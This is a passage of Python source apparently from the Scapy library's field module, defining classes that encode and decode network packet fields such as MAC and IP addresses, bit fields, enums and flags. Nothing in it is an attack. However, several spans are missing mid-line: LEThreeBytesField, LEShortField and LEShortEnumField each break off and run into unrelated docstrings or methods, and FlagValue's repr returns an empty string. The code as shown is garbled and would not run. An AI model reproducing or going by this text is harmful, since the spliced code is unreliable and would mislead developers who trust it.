return getattr(self._find_fld(), attr) class PadField(object): """Add bytes after the proxified field so that it ends at the specified alignment from its beginning""" __slots__ = ["_fld", "_align", "_padwith"] def __init__(self, fld, align, padwith=None): self._fld = fld self._align = align self._padwith = padwith or b"\x00" def padlen(self, flen): return -flen % self._align def getfield(self, pkt, s): remain, val = self._fld.getfield(pkt, s) padlen = self.padlen(len(s) - len(remain)) return remain[padlen:], val def addfield(self, pkt, s, val): sval = self._fld.addfield(pkt, b"", val) return s + sval + struct.pack("%is" % (self.padlen(len(sval))), self._padwith) # noqa: E501 def __getattr__(self, attr): return getattr(self._fld, attr) class ReversePadField(PadField): """Add bytes BEFORE the proxified field so that it starts at the specified alignment from its beginning""" def getfield(self, pkt, s): # We need to get the length that has already been dissected padlen = self.padlen(len(pkt.original) - len(s)) remain, val = self._fld.getfield(pkt, s[padlen:]) return remain, val def addfield(self, pkt, s, val): sval = self._fld.addfield(pkt, b"", val) return s + struct.pack("%is" % (self.padlen(len(s))), self._padwith) + sval # noqa: E501 class FCSField(Field): """Special Field that gets its value from the end of the *packet* (Note: not layer, but packet). Mostly used for FCS """ def getfield(self, pkt, s): previous_post_dissect = pkt.post_dissect val = self.m2i(pkt, struct.unpack(self.fmt, s[-self.sz:])[0]) def _post_dissect(self, s): # Reset packet to allow post_build self.raw_packet_cache = None self.post_dissect = previous_post_dissect return previous_post_dissect(s) pkt.post_dissect = MethodType(_post_dissect, pkt) return s[:-self.sz], val def addfield(self, pkt, s, val): previous_post_build = pkt.post_build value = struct.pack(self.fmt, self.i2m(pkt, val)) def _post_build(self, p, pay): pay += value self.post_build = previous_post_build return previous_post_build(p, pay) pkt.post_build = MethodType(_post_build, pkt) return s def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class DestField(Field): __slots__ = ["defaultdst"] # Each subclass must have its own bindings attribute # bindings = {} def __init__(self, name, default): self.defaultdst = default def dst_from_pkt(self, pkt): for addr, condition in self.bindings.get(pkt.payload.__class__, []): try: if all(pkt.payload.getfieldval(field) == value for field, value in six.iteritems(condition)): return addr except AttributeError: pass return self.defaultdst @classmethod def bind_addr(cls, layer, addr, **condition): cls.bindings.setdefault(layer, []).append((addr, condition)) class MACField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): if x is None: return b"\0\0\0\0\0\0" try: x = mac2str(x) except (struct.error, OverflowError): x = bytes_encode(x) return x def m2i(self, pkt, x): return str2mac(x) def any2i(self, pkt, x): if isinstance(x, bytes) and len(x) == 6: x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): return RandMAC() class IPField(Field): slots = [] def __init__(self, name, default): Field.__init__(self, name, default, "4s") def h2i(self, pkt, x): if isinstance(x, bytes): x = plain_str(x) if isinstance(x, str): try: inet_aton(x) except socket.error: x = Net(x) elif isinstance(x, list): x = [self.h2i(pkt, n) for n in x] return x def resolve(self, x): if self in conf.resolve: try: ret = socket.gethostbyaddr(x)[0] except Exception: pass else: if ret: return ret return x def i2m(self, pkt, x): if x is None: return b'\x00\x00\x00\x00' return inet_aton(plain_str(x)) def m2i(self, pkt, x): return inet_ntoa(x) def any2i(self, pkt, x): return self.h2i(pkt, x) def i2repr(self, pkt, x): r = self.resolve(self.i2h(pkt, x)) return r if isinstance(r, str) else repr(r) def randval(self): return RandIP() class SourceIPField(IPField): __slots__ = ["dstname"] def __init__(self, name, dstname): IPField.__init__(self, name, None) self.dstname = dstname def __findaddr(self, pkt): if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 dst = ("0.0.0.0" if self.dstname is None else getattr(pkt, self.dstname) or "0.0.0.0") if isinstance(dst, (Gen, list)): r = {conf.route.route(str(daddr)) for daddr in dst} if len(r) > 1: warning("More than one possible route for %r" % (dst,)) return min(r)[1] return conf.route.route(dst)[1] def i2m(self, pkt, x): if x is None: x = self.__findaddr(pkt) return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.__findaddr(pkt) return IPField.i2h(self, pkt, x) class IP6Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if isinstance(x, bytes): x = plain_str(x) if isinstance(x, str): try: x = in6_ptop(x) except socket.error: x = Net6(x) elif isinstance(x, list): x = [self.h2i(pkt, n) for n in x] return x def i2m(self, pkt, x): if x is None: x = "::" return inet_pton(socket.AF_INET6, plain_str(x)) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt, x) def i2repr(self, pkt, x): if x is None: return self.i2h(pkt, x) elif not isinstance(x, Net6) and not isinstance(x, list): if in6_isaddrTeredo(x): # print Teredo info server, _, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr, mport) # noqa: E501 elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) r = self.i2h(pkt, x) # No specific information to return return r if isinstance(r, str) else repr(r) def randval(self): return RandIP6() class SourceIP6Field(IP6Field): __slots__ = ["dstname"] def __init__(self, name, dstname): IP6Field.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: dst = ("::" if self.dstname is None else getattr(pkt, self.dstname) or "::") iff, x, nh = conf.route6.route(dst) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: if conf.route6 is None: # unused import, only to initialize conf.route6 import scapy.route6 # noqa: F401 dst = ("::" if self.dstname is None else getattr(pkt, self.dstname)) # noqa: E501 if isinstance(dst, (Gen, list)): r = {conf.route6.route(str(daddr)) for daddr in dst} if len(r) > 1: warning("More than one possible route for %r" % (dst,)) x = min(r)[1] else: x = conf.route6.route(dst)[1] return IP6Field.i2h(self, pkt, x) class DestIP6Field(IP6Field, DestField): bindings = {} def __init__(self, name, default): IP6Field.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2h(self, pkt, x) class ByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "B") class XByteField(ByteField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class OByteField(ByteField): def i2repr(self, pkt, x): return "%03o" % self.i2h(pkt, x) class ThreeBytesField(ByteField): def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 class X3BytesField(ThreeBytesField, XByteField): def i2repr(self, pkt, x): return XByteField.i2repr(self, pkt, x) class LEThreeBytesField(ByteField): def __init__(self, name, default): Field.__init__(self, name, default, ", ) including the last value. - A single-value tuple is treated as scalar. - A list defines a set of (probably non consecutive) values that should be associated to a given key. All values not associated with a key will be shown as number of type unsigned byte. **For instance**:: config = { 'no' : 0, 'foo' : (1,22), 'yes' : 23, 'bar' : [24,25, 42, 48, 87, 253] } Generates the following representations:: x == 0 : 'no' x == 15: 'foo' x == 23: 'yes' x == 42: 'bar' x == 43: 43 Another example, using the config attribute one could also revert the stock-yes-no-behavior:: config = { 'yes' : 0, 'no' : (1,255) } Will generate the following value representation:: x == 0 : 'yes' x != 0 : 'no' """ __slots__ = ['eval_fn'] def _build_config_representation(self, config): assoc_table = dict() for key in config: value_spec = config[key] value_spec_type = type(value_spec) if value_spec_type is int: if value_spec < 0 or value_spec > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_spec)) # noqa: E501 assoc_table[value_spec] = key elif value_spec_type is list: for value in value_spec: if value < 0 or value > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value)) # noqa: E501 assoc_table[value] = key elif value_spec_type is tuple: value_spec_len = len(value_spec) if value_spec_len != 2: raise FieldAttributeException('invalid length {} of given config item tuple {} - must be ' # noqa: E501 '(, ).'.format(value_spec_len, value_spec)) # noqa: E501 value_range_start = value_spec[0] if value_range_start < 0 or value_range_start > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_range_start)) # noqa: E501 value_range_end = value_spec[1] if value_range_end < 0 or value_range_end > 255: raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 'must be in range [0..255]'.format(value_range_end)) # noqa: E501 for value in range(value_range_start, value_range_end + 1): assoc_table[value] = key self.eval_fn = lambda x: assoc_table[x] if x in assoc_table else x def __init__(self, name, default, config=None, *args, **kargs): if not config: # this represents the common use case and therefore it is kept small # noqa: E501 self.eval_fn = lambda x: 'no' if x == 0 else 'yes' else: self._build_config_representation(config) ByteField.__init__(self, name, default, *args, **kargs) def i2repr(self, pkt, x): return self.eval_fn(x) class ShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "H") class SignedShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "h") class LEShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, " int * length_from: a callback that returns the number of bytes that must be dissected by this field. The callback prototype is:: length_from(pkt:Packet) -> int * next_cls_cb: a callback that enables a Scapy developer to dynamically discover if another Packet instance should be dissected or not. See below for this callback prototype. The bytes that are not consumed during the dissection of this field are passed to the next field of the current packet. For the serialization of such a field, the list of Packets that are contained in a PacketListField can be heterogeneous and is unrestricted. The type of the Packet instances that are dissected with this field is specified or discovered using one of the following mechanism: * the cls parameter may contain a callable that returns an instance of the dissected Packet. This may either be a reference of a Packet subclass (e.g. DNSRROPT in layers/dns.py) to generate an homogeneous PacketListField or a function deciding the type of the Packet instance (e.g. _CDPGuessAddrRecord in contrib/cdp.py) * the cls parameter may contain a class object with a defined ``dispatch_hook`` classmethod. That method must return a Packet instance. The ``dispatch_hook`` callmethod must implement the following prototype:: dispatch_hook(cls, _pkt:Optional[Packet], *args, **kargs ) -> Packet_metaclass The _pkt parameter may contain a reference to the packet instance containing the PacketListField that is being dissected. * the ``next_cls_cb`` parameter may contain a callable whose prototype is:: cbk(pkt:Packet, lst:List[Packet], cur:Optional[Packet], remain:str ) -> Optional[Packet_metaclass] The pkt argument contains a reference to the Packet instance containing the PacketListField that is being dissected. The lst argument is the list of all Packet instances that were previously parsed during the current ``PacketListField`` dissection, saved for the very last Packet instance. The cur argument contains a reference to that very last parsed ``Packet`` instance. The remain argument contains the bytes that may still be consumed by the current PacketListField dissection operation. This callback returns either the type of the next Packet to dissect or None to indicate that no more Packet are to be dissected. These four arguments allows a variety of dynamic discovery of the number of Packet to dissect and of the type of each one of these Packets, including: type determination based on current Packet instances or its underlayers, continuation based on the previously parsed Packet instances within that PacketListField, continuation based on a look-ahead on the bytes to be dissected... The cls and next_cls_cb parameters are semantically exclusive, although one could specify both. If both are specified, cls is silently ignored. The same is true for count_from and next_cls_cb. length_from and next_cls_cb are compatible and the dissection will end, whichever of the two stop conditions comes first. :param name: the name of the field :param default: the default value of this field; generally an empty Python list @param cls: either a callable returning a Packet instance or a class object defining a ``dispatch_hook`` class method :param count_from: a callback returning the number of Packet instances to dissect. :param length_from: a callback returning the number of bytes to dissect :param next_cls_cb: a callback returning either None or the type of the next Packet to dissect. """ if default is None: default = [] # Create a new list for each instance PacketField.__init__(self, name, default, cls) self.count_from = count_from self.length_from = length_from self.next_cls_cb = next_cls_cb def any2i(self, pkt, x): if not isinstance(x, list): return [x] else: return x def i2count(self, pkt, val): if isinstance(val, list): return len(val) return 1 def i2len(self, pkt, val): return sum(len(p) for p in val) def do_copy(self, x): if x is None: return None else: return [p if isinstance(p, (str, bytes)) else p.copy() for p in x] def getfield(self, pkt, s): c = len_pkt = cls = None if self.length_from is not None: len_pkt = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) if self.next_cls_cb is not None: cls = self.next_cls_cb(pkt, [], None, s) c = 1 lst = [] ret = b"" remain = s if len_pkt is not None: remain, ret = s[:len_pkt], s[len_pkt:] while remain: if c is not None: if c <= 0: break c -= 1 try: if cls is not None: p = cls(remain) else: p = self.m2i(pkt, remain) except Exception: if conf.debug_dissector: raise p = conf.raw_layer(load=remain) remain = b"" else: if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) if self.next_cls_cb is not None: cls = self.next_cls_cb(pkt, lst, p, remain) if cls is not None: c = 0 if c is None else c c += 1 else: remain = b"" lst.append(p) return remain + ret, lst def addfield(self, pkt, s, val): return s + b"".join(bytes_encode(v) for v in val) class StrFixedLenField(StrField): __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length=length: length def i2repr(self, pkt, v): if isinstance(v, bytes): v = v.rstrip(b"\0") return super(StrFixedLenField, self).i2repr(pkt, v) def getfield(self, pkt, s): len_pkt = self.length_from(pkt) return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) def addfield(self, pkt, s, val): len_pkt = self.length_from(pkt) if len_pkt is None: return s + self.i2m(pkt, val) return s + struct.pack("%is" % len_pkt, self.i2m(pkt, val)) def randval(self): try: len_pkt = self.length_from(None) except Exception: len_pkt = RandNum(0, 200) return RandBin(len_pkt) class StrFixedLenEnumField(StrFixedLenField): __slots__ = ["enum"] def __init__(self, name, default, length=None, enum=None, length_from=None): # noqa: E501 StrFixedLenField.__init__(self, name, default, length=length, length_from=length_from) # noqa: E501 self.enum = enum def i2repr(self, pkt, v): r = v.rstrip("\0" if isinstance(v, str) else b"\0") rr = repr(r) if v in self.enum: rr = "%s (%s)" % (rr, self.enum[v]) elif r in self.enum: rr = "%s (%s)" % (rr, self.enum[r]) return rr class NetBIOSNameField(StrFixedLenField): def __init__(self, name, default, length=31): StrFixedLenField.__init__(self, name, default, length) def i2m(self, pkt, x): len_pkt = self.length_from(pkt) // 2 x = bytes_encode(x) if x is None: x = b"" x += b" " * len_pkt x = x[:len_pkt] x = b"".join(chb(0x41 + (orb(b) >> 4)) + chb(0x41 + (orb(b) & 0xf)) for b in x) # noqa: E501 x = b" " + x return x def m2i(self, pkt, x): x = x.strip(b"\x00").strip(b" ") return b"".join(map(lambda x, y: chb((((orb(x) - 1) & 0xf) << 4) + ((orb(y) - 1) & 0xf)), x[::2], x[1::2])) # noqa: E501 class StrLenField(StrField): __slots__ = ["length_from", "max_length"] def __init__(self, name, default, fld=None, length_from=None, max_length=None): # noqa: E501 StrField.__init__(self, name, default) self.length_from = length_from self.max_length = max_length def getfield(self, pkt, s): len_pkt = self.length_from(pkt) return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) def randval(self): return RandBin(RandNum(0, self.max_length or 1200)) class XStrField(StrField): """ StrField which value is printed as hexadecimal. """ def i2repr(self, pkt, x): if x is None: return repr(x) return bytes_hex(x).decode() class _XStrLenField: def i2repr(self, pkt, x): if not x: return repr(x) return bytes_hex(x[:self.length_from(pkt)]).decode() class XStrLenField(_XStrLenField, StrLenField): """ StrLenField which value is printed as hexadecimal. """ class XStrFixedLenField(_XStrLenField, StrFixedLenField): """ StrFixedLenField which value is printed as hexadecimal. """ class XLEStrLenField(XStrLenField): def i2m(self, pkt, x): return x[:: -1] def m2i(self, pkt, x): return x[:: -1] class StrLenFieldUtf16(StrLenField): def h2i(self, pkt, x): return plain_str(x).encode('utf-16')[2:] def any2i(self, pkt, x): if isinstance(x, six.text_type): return self.h2i(pkt, x) return super(StrLenFieldUtf16, self).any2i(pkt, x) def i2repr(self, pkt, x): return x def i2h(self, pkt, x): return bytes_encode(x).decode('utf-16') class BoundStrLenField(StrLenField): __slots__ = ["minlen", "maxlen"] def __init__(self, name, default, minlen=0, maxlen=255, fld=None, length_from=None): # noqa: E501 StrLenField.__init__(self, name, default, fld, length_from) self.minlen = minlen self.maxlen = maxlen def randval(self): return RandBin(RandNum(self.minlen, self.maxlen)) class FieldListField(Field): __slots__ = ["field", "count_from", "length_from"] islist = 1 def __init__(self, name, default, field, length_from=None, count_from=None): # noqa: E501 if default is None: default = [] # Create a new list for each instance self.field = field Field.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2count(self, pkt, val): if isinstance(val, list): return len(val) return 1 def i2len(self, pkt, val): return int(sum(self.field.i2len(pkt, v) for v in val)) def i2m(self, pkt, val): if val is None: val = [] return val def any2i(self, pkt, x): if not isinstance(x, list): return [self.field.any2i(pkt, x)] else: return [self.field.any2i(pkt, e) for e in x] def i2repr(self, pkt, x): return "[%s]" % ", ".join(self.field.i2repr(pkt, v) for v in x) def addfield(self, pkt, s, val): val = self.i2m(pkt, val) for v in val: s = self.field.addfield(pkt, s, v) return s def getfield(self, pkt, s): c = len_pkt = None if self.length_from is not None: len_pkt = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) val = [] ret = b"" if len_pkt is not None: s, ret = s[:len_pkt], s[len_pkt:] while s: if c is not None: if c <= 0: break c -= 1 s, v = self.field.getfield(pkt, s) val.append(v) return s + ret, val class FieldLenField(Field): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, length_of=None, fmt="H", count_of=None, adjust=lambda pkt, x: x, fld=None): # noqa: E501 Field.__init__(self, name, default, fmt) self.length_of = length_of self.count_of = count_of self.adjust = adjust if fld is not None: # FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__) self.length_of = fld def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) else: fld, fval = pkt.getfield_and_val(self.count_of) f = fld.i2count(pkt, fval) x = self.adjust(pkt, f) return x class StrNullField(StrField): def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) + b"\x00" def getfield(self, pkt, s): len_str = s.find(b"\x00") if len_str < 0: # \x00 not found: return empty return b"", s return s[len_str + 1:], self.m2i(pkt, s[:len_str]) def randval(self): return RandTermString(RandNum(0, 1200), b"\x00") class StrStopField(StrField): __slots__ = ["stop", "additional"] def __init__(self, name, default, stop, additional=0): Field.__init__(self, name, default) self.stop = stop self.additional = additional def getfield(self, pkt, s): len_str = s.find(self.stop) if len_str < 0: return b"", s # raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop # noqa: E501 len_str += len(self.stop) + self.additional return s[len_str:], s[:len_str] def randval(self): return RandTermString(RandNum(0, 1200), self.stop) class LenField(Field): """ If None, will be filled with the size of the payload """ __slots__ = ["adjust"] def __init__(self, name, default, fmt="H", adjust=lambda x: x): Field.__init__(self, name, default, fmt) self.adjust = adjust def i2m(self, pkt, x): if x is None: x = self.adjust(len(pkt.payload)) return x class BCDFloatField(Field): def i2m(self, pkt, x): return int(256 * x) def m2i(self, pkt, x): return x / 256.0 class BitField(Field): """ Field to handle bits. :param name: name of the field :param default: default value :param size: size (in bits). If negative, Low endian :param tot_size: size of the total group of bits (in bytes) the bitfield is in. If negative, Low endian. :param end_tot_size: same but for the BitField ending a group. Example - normal usage:: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | A | B | C | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. TestPacket class TestPacket(Packet): fields_desc = [ BitField("a", 0, 14), BitField("b", 0, 16), BitField("c", 0, 2), ] Example - Low endian stored as 16 bits on the network:: x x x x x x x x x x x x x x x x a [b] [ c ] [ a ] Will first get reversed during dissecion: x x x x x x x x x x x x x x x x [ a ] [b] [ c ] class TestPacket(Packet): fields_desc = [ BitField("a", 0, 9, tot_size=-16), BitField("b", 0, 2), BitField("c", 0, 5, end_tot_size=-16) ] """ __slots__ = ["rev", "size", "tot_size", "end_tot_size"] def __init__(self, name, default, size, tot_size=0, end_tot_size=0): Field.__init__(self, name, default) self.rev = size < 0 or tot_size < 0 or end_tot_size < 0 self.size = abs(size) if not tot_size: tot_size = self.size // 8 self.tot_size = abs(tot_size) if not end_tot_size: end_tot_size = self.size // 8 self.end_tot_size = abs(end_tot_size) self.sz = self.size / 8. def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if isinstance(s, tuple): s, bitsdone, v = s else: bitsdone = 0 v = 0 v <<= self.size v |= val & ((1 << self.size) - 1) bitsdone += self.size while bitsdone >= 8: bitsdone -= 8 s = s + struct.pack("!B", v >> bitsdone) v &= (1 << bitsdone) - 1 if bitsdone: return s, bitsdone, v else: # Apply LE if necessary if self.rev and self.end_tot_size > 1: s = s[:-self.end_tot_size] + s[-self.end_tot_size:][::-1] return s def getfield(self, pkt, s): if isinstance(s, tuple): s, bn = s else: bn = 0 # Apply LE if necessary if self.rev and self.tot_size > 1: s = s[:self.tot_size][::-1] + s[self.tot_size:] # we don't want to process all the string nb_bytes = (self.size + bn - 1) // 8 + 1 w = s[:nb_bytes] # split the substring byte by byte _bytes = struct.unpack('!%dB' % nb_bytes, w) b = 0 for c in range(nb_bytes): b |= int(_bytes[c]) << (nb_bytes - c - 1) * 8 # get rid of high order bits b &= (1 << (nb_bytes * 8 - bn)) - 1 # remove low order bits b = b >> (nb_bytes * 8 - self.size - bn) bn += self.size s = s[bn // 8:] bn = bn % 8 b = self.m2i(pkt, b) if bn: return (s, bn), b else: return s, b def randval(self): return RandNum(0, 2**self.size - 1) def i2len(self, pkt, x): return float(self.size) / 8 class BitFieldLenField(BitField): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x): # noqa: E501 BitField.__init__(self, name, default, size) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return (FieldLenField.i2m.__func__ if six.PY2 else FieldLenField.i2m)(self, pkt, x) # noqa: E501 class XBitField(BitField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class _EnumField(Field): def __init__(self, name, default, enum, fmt="H"): """ Initializes enum fields. @param name: name of this field @param default: default value of this field @param enum: either a dict or a tuple of two callables. Dict keys are # noqa: E501 the internal values, while the dict values are the user-friendly representations. If the tuple is provided, # noqa: E501 the first callable receives the internal value as parameter and returns the user-friendly representation and the second callable does the converse. The first callable may return None to default to a literal string (repr()) representation. @param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation. """ if isinstance(enum, ObservableDict): enum.observe(self) if isinstance(enum, tuple): self.i2s_cb = enum[0] self.s2i_cb = enum[1] self.i2s = None self.s2i = None else: i2s = self.i2s = {} s2i = self.s2i = {} self.i2s_cb = None self.s2i_cb = None if isinstance(enum, list): keys = list(range(len(enum))) elif isinstance(enum, DADict): keys = enum.keys() else: keys = list(enum) if any(isinstance(x, str) for x in keys): i2s, s2i = s2i, i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): if isinstance(x, str): try: x = self.s2i[x] except TypeError: x = self.s2i_cb(x) return x def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x, VolatileValue): try: return self.i2s[x] except KeyError: pass except TypeError: ret = self.i2s_cb(x) if ret is not None: return ret return repr(x) def any2i(self, pkt, x): if isinstance(x, list): return [self.any2i_one(pkt, z) for z in x] else: return self.any2i_one(pkt, x) def i2repr(self, pkt, x): if isinstance(x, list): return [self.i2repr_one(pkt, z) for z in x] else: return self.i2repr_one(pkt, x) def notify_set(self, enum, key, value): log_runtime.debug("At %s: Change to %s at 0x%x" % (self, value, key)) self.i2s[key] = value self.s2i[value] = key def notify_del(self, enum, key): log_runtime.debug("At %s: Delete value at 0x%x" % (self, key)) value = self.i2s[key] del self.i2s[key] del self.s2i[value] class EnumField(_EnumField): __slots__ = ["i2s", "s2i", "s2i_cb", "i2s_cb"] class CharEnumField(EnumField): def __init__(self, name, default, enum, fmt="1s"): EnumField.__init__(self, name, default, enum, fmt) if self.i2s is not None: k = list(self.i2s) if k and len(k[0]) != 1: self.i2s, self.s2i = self.s2i, self.i2s def any2i_one(self, pkt, x): if len(x) != 1: if self.s2i is None: x = self.s2i_cb(x) else: x = self.s2i[x] return x class BitEnumField(BitField, _EnumField): __slots__ = EnumField.__slots__ def __init__(self, name, default, size, enum): _EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) self.sz = self.size / 8. def any2i(self, pkt, x): return _EnumField.any2i(self, pkt, x) def i2repr(self, pkt, x): return _EnumField.i2repr(self, pkt, x) class ShortEnumField(EnumField): __slots__ = EnumField.__slots__ def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "H") class LEShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, ">= self.cursor while x: self.cursor += 1 if x & 1: return self.flagvalue.names[self.cursor - 1] x >>= 1 raise StopIteration next = __next__ class FlagValue(object): __slots__ = ["value", "names", "multi"] def _fixvalue(self, value): if not value: return 0 if isinstance(value, six.string_types): value = value.split('+') if self.multi else list(value) if isinstance(value, list): y = 0 for i in value: y |= 1 << self.names.index(i) value = y return int(value) def __init__(self, value, names): self.multi = isinstance(names, list) self.names = names self.value = self._fixvalue(value) def __hash__(self): return hash(self.value) def __int__(self): return self.value def __eq__(self, other): return self.value == self._fixvalue(other) def __lt__(self, other): return self.value < self._fixvalue(other) def __le__(self, other): return self.value <= self._fixvalue(other) def __gt__(self, other): return self.value > self._fixvalue(other) def __ge__(self, other): return self.value >= self._fixvalue(other) def __ne__(self, other): return self.value != self._fixvalue(other) def __and__(self, other): return self.__class__(self.value & self._fixvalue(other), self.names) __rand__ = __and__ def __or__(self, other): return self.__class__(self.value | self._fixvalue(other), self.names) __ror__ = __or__ def __lshift__(self, other): return self.value << self._fixvalue(other) def __rshift__(self, other): return self.value >> self._fixvalue(other) def __nonzero__(self): return bool(self.value) __bool__ = __nonzero__ def flagrepr(self): warning("obj.flagrepr() is obsolete. Use str(obj) instead.") return str(self) def __str__(self): i = 0 r = [] x = int(self) while x: if x & 1: r.append(self.names[i]) i += 1 x >>= 1 return ("+" if self.multi else "").join(r) def __iter__(self): return FlagValueIter(self) def __repr__(self): return "" % (self, self) def __deepcopy__(self, memo): return self.__class__(int(self), self.names) def __getattr__(self, attr): if attr in self.__slots__: return super(FlagValue, self).__getattr__(attr) try: if self.multi: return bool((2 ** self.names.index(attr)) & int(self)) return all(bool((2 ** self.names.index(flag)) & int(self)) for flag in attr) except ValueError: if '_' in attr: try: return self.__getattr__(attr.replace('_', '-')) except AttributeError: pass return super(FlagValue, self).__getattr__(attr) def __setattr__(self, attr, value): if attr == "value" and not isinstance(value, six.integer_types): raise ValueError(value) if attr in self.__slots__: return super(FlagValue, self).__setattr__(attr, value) if attr in self.names: if value: self.value |= (2 ** self.names.index(attr)) else: self.value &= ~(2 ** self.names.index(attr)) else: return super(FlagValue, self).__setattr__(attr, value) def copy(self): return self.__class__(self.value, self.names) class FlagsField(BitField): """ Handle Flag type field Make sure all your flags have a label Example (list): >>> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] # noqa: E501 >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 Example (str): >>> from scapy.packet import Packet >>> class TCPTest(Packet): fields_desc = [ BitField("reserved", 0, 7), FlagsField("flags", 0x2, 9, "FSRPAUECN") ] >>> TCPTest(flags=3).show2() ###[ FlagsTest ]### reserved = 0 flags = FS Example (dict): >>> from scapy.packet import Packet >>> class FlagsTest2(Packet): fields_desc = [ FlagsField("flags", 0x2, 16, { 1: "1", # 1st bit 8: "2" # 8th bit }) ] :param name: field's name :param default: default value for the field :param size: number of bits in the field (in bits) :param names: (list or str or dict) label for each flag If it's a str or a list, the least Significant Bit tag's name is written first. """ ismutable = True __slots__ = ["names"] def __init__(self, name, default, size, names): # Convert the dict to a list if isinstance(names, dict): tmp = ["bit_%d" % i for i in range(size)] for i, v in six.viewitems(names): tmp[i] = v names = tmp # Store the names as str or list self.names = names BitField.__init__(self, name, default, size) def _fixup_val(self, x): """Returns a FlagValue instance when needed. Internal method, to be used in *2i() and i2*() methods. """ if isinstance(x, FlagValue): return x if x is None: return None return FlagValue(x, self.names) def any2i(self, pkt, x): return self._fixup_val(super(FlagsField, self).any2i(pkt, x)) def m2i(self, pkt, x): return self._fixup_val(super(FlagsField, self).m2i(pkt, x)) def i2h(self, pkt, x): if isinstance(x, VolatileValue): return super(FlagsField, self).i2h(pkt, x) return self._fixup_val(super(FlagsField, self).i2h(pkt, x)) def i2repr(self, pkt, x): if isinstance(x, (list, tuple)): return repr(type(x)( None if v is None else str(self._fixup_val(v)) for v in x )) return None if x is None else str(self._fixup_val(x)) MultiFlagsEntry = collections.namedtuple('MultiFlagEntry', ['short', 'long']) class MultiFlagsField(BitField): __slots__ = FlagsField.__slots__ + ["depends_on"] def __init__(self, name, default, size, names, depends_on): self.names = names self.depends_on = depends_on super(MultiFlagsField, self).__init__(name, default, size) def any2i(self, pkt, x): assert isinstance(x, six.integer_types + (set,)), 'set expected' if pkt is not None: if isinstance(x, six.integer_types): x = self.m2i(pkt, x) else: v = self.depends_on(pkt) if v is not None: assert v in self.names, 'invalid dependency' these_names = self.names[v] s = set() for i in x: for val in six.itervalues(these_names): if val.short == i: s.add(i) break else: assert False, 'Unknown flag "{}" with this dependency'.format(i) # noqa: E501 continue x = s return x def i2m(self, pkt, x): v = self.depends_on(pkt) 